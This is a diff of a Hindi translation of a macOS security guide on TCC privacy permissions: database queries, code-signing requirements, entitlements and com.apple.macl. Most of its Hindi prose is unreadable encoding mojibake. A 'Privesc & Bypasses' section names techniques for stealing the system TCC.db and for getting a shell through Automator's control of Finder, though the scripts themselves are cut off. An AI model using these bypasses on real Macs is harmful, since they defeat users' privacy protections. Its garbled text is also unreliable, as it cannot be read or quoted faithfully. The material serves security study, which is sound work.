рдореЗрдВ **рдЬрд╛рдирдХрд╛рд░реА** рднреА **рд╕реНрдЯреЛрд░** рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ **рд╕реБрдирд┐рд╢реНрдЪрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдЕрдиреБрдорддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдРрдк рд╕рд╣реА рд╣реИред +The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **рдЬрд╛рдирдХрд╛рд░реА** about the **signature** to **рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ** the App asking to use the a permission is the correct one. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> рдЗрд╕рд▓рд┐рдП, рдЙрд╕реА рдирд╛рдо рдФрд░ рдмрдВрдбрд▓ рдЖрдИрдбреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдЕрдиреНрдп рдРрдкреНрд╕ рдХреЛ рджрд┐рдП рдЧрдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧреАред +> рдЗрд╕рд▓рд┐рдП, рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ рд╕рдорд╛рди рдирд╛рдо рдФрд░ рдмрдВрдбрд▓ рдЖрдИрдбреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рдЕрдиреНрдп рдРрдкреНрд╕ рдХреЛ рджрд┐рдП рдЧрдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реЛрдВрдЧреЗред ### рдЕрдзрд┐рдХрд╛рд░ рдФрд░ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдРрдкреНрд╕ **рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ** рдХрд┐ рд╡реЗ **рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ** рдФрд░ рдХреБрдЫ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ**, рдЙрдиреНрд╣реЗрдВ **рд╕рдВрдмрдВрдзрд┐рдд рдЕрдзрд┐рдХрд╛рд░ рднреА рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред**\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **Telegram** рдХреЗ рдкрд╛рд╕ **рдХреИрдорд░реЗ рддрдХ рдкрд╣реБрдБрдЪ** рдХреЗ рд▓рд┐рдП `com.apple.security.device.camera` рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред рдПрдХ **рдРрдк** рдЬреЛ **рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░** рдХреЗ рдмрд┐рдирд╛ рд╣реИ, рд╡рд╣ рдХреИрдорд░реЗ рддрдХ **рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛** (рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднреА рдирд╣реАрдВ рдкреВрдЫрд╛ рдЬрд╛рдПрдЧрд╛)ред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдРрдкреНрд╕ рдХреЛ **рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ** рдЬреИрд╕реЗ `~/Desktop`, `~/Downloads` рдФрд░ `~/Documents` рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ **рдЕрдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рд╕рд┐рд╕реНрдЯрдо рдкрд╛рд░рджрд░реНрд╢реА рд░реВрдк рд╕реЗ рдкрд╣реБрдБрдЪ рдХреЛ рд╕рдВрднрд╛рд▓реЗрдЧрд╛ рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ** рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ **рдкреНрд░реЗрд░рд┐рдд рдХрд░реЗрдЧрд╛**ред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдРрдкреНрд╕ рдХреЛ **рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ** рдЬреИрд╕реЗ `~/Desktop`, `~/Downloads` рдФрд░ `~/Documents` рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ **рдЕрдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рд╕рд┐рд╕реНрдЯрдо рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкрд╣реБрдБрдЪ рдХреЛ рд╕рдВрднрд╛рд▓реЗрдЧрд╛ рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ** рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ **рдкреНрд░реЙрдореНрдкреНрдЯ рдХрд░реЗрдЧрд╛**ред -Apple рдХреЗ рдРрдкреНрд╕ **рдкреНрд░реЗрд░рдгрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗред** рдЙрдирдХреЗ **рдЕрдзрд┐рдХрд╛рд░** рд╕реВрдЪреА рдореЗрдВ **рдкреВрд░реНрд╡-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЕрдзрд┐рдХрд╛рд░** рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡реЗ **рдХрднреА рднреА рдкреЙрдкрдЕрдк рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ**, **рди рд╣реА** рд╡реЗ рдХрд┐рд╕реА рднреА **TCC рдбреЗрдЯрд╛рдмреЗрд╕** рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +Apple рдХреЗ рдРрдкреНрд╕ **рдкреНрд░реЙрдореНрдкреНрдЯ рдирд╣реАрдВ рдмрдирд╛рдПрдВрдЧреЗ**ред рдЙрдирдХреЗ **рдЕрдзрд┐рдХрд╛рд░** рд╕реВрдЪреА рдореЗрдВ **рдкреВрд░реНрд╡-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЕрдзрд┐рдХрд╛рд░** рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡реЗ **рдХрднреА рднреА рдкреЙрдкрдЕрдк рдирд╣реАрдВ рдмрдирд╛рдПрдВрдЧреЗ**, **рди рд╣реА** рд╡реЗ рдХрд┐рд╕реА рднреА **TCC рдбреЗрдЯрд╛рдмреЗрд╕** рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -222,9 +222,9 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app рдпрд╣ рдХреИрд▓реЗрдВрдбрд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдиреБрд╕реНрдорд╛рд░рдХ, рдХреИрд▓реЗрдВрдбрд░ рдФрд░ рдкрддреЗ рдХреА рдкреБрд╕реНрддрдХ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрдЫрдиреЗ рд╕реЗ рд░реЛрдХреЗрдЧрд╛ред > [!TIP] -> рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, **https://newosxbook.com/ent.jl** рдкрд░ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЕрдиреМрдкрдЪрд╛рд░рд┐рдХ **рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред** +> рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдЕрдиреМрдкрдЪрд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИред -рдХреБрдЫ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... рдЗрдирдореЗрдВ рд╕реЗ рд╕рднреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реВрдЪреА рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕ [**рдЬреНрдЮрд╛рдд рдХреА рд╕реВрдЪреА**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдХреБрдЫ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... рдЗрди рд╕рднреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реВрдЪреА рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕ [**рдЬреНрдЮрд╛рдд рдХреА рд╕реВрдЪреА**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕реНрдерд╛рди @@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app ### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд░рд╛рджрд╛ / com.apple.macl -рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рдРрдк рдХреЛ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЗрд╕реЗ рдЦреАрдВрдЪрдХрд░ рдФрд░ рдЫреЛрдбрд╝рдХрд░**ред рдпрд╣ рдкрд╣реБрдБрдЪ рдХрд┐рд╕реА рднреА TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реЛрдЧреА, рдмрд▓реНрдХрд┐ рдлрд╝рд╛рдЗрд▓ рдХреЗ **рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд** **рдЧреБрдг рдХреЗ рд░реВрдк рдореЗрдВ рд╣реЛрдЧреА**ред рдпрд╣ рдЧреБрдг **рдЕрдиреБрдордд рдРрдк рдХрд╛ UUID** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛: +рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рдРрдк рдХреЛ рдкрд╣реБрдБрдЪ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдЦреАрдВрдЪрдХрд░ рдФрд░ рдЫреЛрдбрд╝рдХрд░** рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдпрд╣ рдкрд╣реБрдБрдЪ рдХрд┐рд╕реА рднреА TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реЛрдЧреА, рдмрд▓реНрдХрд┐ рдлрд╝рд╛рдЗрд▓ рдХреЗ **рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд** **рдЧреБрдг рдХреЗ рд░реВрдк рдореЗрдВ рд╣реЛрдЧреА**ред рдпрд╣ рдЧреБрдг **рдЕрдиреБрдордд рдРрдк рдХрд╛ UUID** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛: ```bash xattr Desktop/private.txt com.apple.macl @@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 > [!NOTE] > рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ **`com.apple.macl`** рд╡рд┐рд╢реЗрд╖рддрд╛ **Sandbox** рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рди рдХрд┐ tccd рджреНрд╡рд╛рд░рд╛ред > -> рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдПрдХ рдРрдк рдХреЗ UUID рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕реА рдРрдк рдХреЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ UIDs рд╣реЛрдВрдЧреЗ, рдпрд╣ рдРрдк рдХреЛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рджреЗрдЧрд╛ред +> рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдПрдХ рдРрдк рдХреЗ UUID рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЪреВрдВрдХрд┐ рдЙрд╕реА рдРрдк рдХреЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ UIDs рд╣реЛрдВрдЧреЗ, рдпрд╣ рдЙрд╕ рдРрдк рдХреЛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рджреЗрдЧрд╛ред -рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ `com.apple.macl` **рдЕрдиреНрдп рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреА рддрд░рд╣** **рд╣рдЯрд╛рдИ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддреА** рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬреИрд╕реЗ рдХрд┐ [**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), рдЗрд╕реЗ **рдЬрд╝рд┐рдк** рдХрд░рдХреЗ, **рд╣рдЯрд╛рдХрд░** рдФрд░ **рдЕрдирдЬрд╝рд┐рдк** рдХрд░рдХреЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред +рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ `com.apple.macl` **рдЕрдиреНрдп рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ** рдХреА рддрд░рд╣ **рд╣рдЯрд╛рдИ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддреА** рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬреИрд╕реЗ рдХрд┐ [**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), рдЗрд╕реЗ **рдЬрд╝рд┐рдк** рдХрд░рдХреЗ, **рд╣рдЯрд╛рдХрд░** рдФрд░ **рдЕрдирдЬрд╝рд┐рдк** рдХрд░рдХреЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред ## TCC Privesc & Bypasses @@ -345,7 +345,7 @@ EOD ``` {{#endtab}} -{{#tab name="рд╕рд┐рд╕реНрдЯрдо TCC.db рдЪреБрд░рд╛рдирд╛"}} +{{#tab name="Steal systems TCC.db"}} ```applescript osascript< [!WARNING] -> рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдЖрдк **рдлрд╛рдЗрдВрдбрд░ рд╕реЗ TCC рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд┐рд▓реЗрдВрдЧреА, рд▓реЗрдХрд┐рди afaik рдЖрдк **рдлрд╛рдЗрдВрдбрд░ рдХреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ** рддрд╛рдХрд┐ рдЖрдк рдЙрд╕рдХреА FDA рдкрд╣реБрдБрдЪ рдХрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВред +> рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдЖрдк **рдлрд╛рдЗрдВрдбрд░ рд╕реЗ TCC рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрдЫ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд┐рд▓реЗрдВрдЧреА, рд▓реЗрдХрд┐рди afaik рдЖрдк **рдлрд╛рдЗрдВрдбрд░ рдХреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ** рддрд╛рдХрд┐ рдЙрд╕рдХреЗ FDA рдПрдХреНрд╕реЗрд╕ рдХрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред > -> рдЗрд╕рд▓рд┐рдП, рдЖрдк рдкреВрд░реА FDA рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред +> рдЗрд╕рд▓рд┐рдП, рдЖрдк рдкреВрд░реНрдг FDA рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдпрд╣ рдлрд╛рдЗрдВрдбрд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCC рдкреНрд░реЙрдореНрдкреНрдЯ рд╣реИ:
> [!CAUTION] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреНрдпреЛрдВрдХрд┐ **Automator** рдРрдк рдХреЗ рдкрд╛рд╕ TCC рдЕрдиреБрдорддрд┐ **`kTCCServiceAppleEvents`** рд╣реИ, рдпрд╣ **рдХрд┐рд╕реА рднреА рдРрдк рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬреИрд╕реЗ рдлрд╛рдЗрдВрдбрд░ред рдЗрд╕рд▓рд┐рдП Automator рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХреЛрдб рдХреА рддрд░рд╣ **рдлрд╛рдЗрдВрдбрд░** рдХреЛ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреНрдпреЛрдВрдХрд┐ **рдСрдЯреЛрдореЗрдЯрд░** рдРрдк рдХреЗ рдкрд╛рд╕ TCC рдЕрдиреБрдорддрд┐ **`kTCCServiceAppleEvents`** рд╣реИ, рдпрд╣ **рдХрд┐рд╕реА рднреА рдРрдк рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬреИрд╕реЗ рдлрд╛рдЗрдВрдбрд░ред рдЗрд╕рд▓рд┐рдП рдСрдЯреЛрдореЗрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХреЛрдб рдХреА рддрд░рд╣ **рдлрд╛рдЗрдВрдбрд░** рдХреЛ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
-Automator рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +рдСрдЯреЛрдореЗрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ ```applescript osascript< -**рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрдкрд╛рджрдХ рдРрдк** рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рдлрд╝рд╛рдЗрдВрдбрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ AppleScript рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред +**Script Editor рдРрдк рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ Finder рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди AppleScript рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред** -### рд╕реНрд╡рдЪрд╛рд▓рди (SE) рд╕реЗ рдХреБрдЫ TCC +### Automation (SE) to some TCC -**рд╕рд┐рд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯреНрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреБрдЫ TCC рдлрд╝реЛрд▓реНрдбрд░реЛрдВ (рдбреЗрд╕реНрдХрдЯреЙрдк, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб) рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +**System Events рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреБрдЫ TCC рдлрд╝реЛрд▓реНрдбрд░реЛрдВ (Desktop, Documents & Downloads) рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА 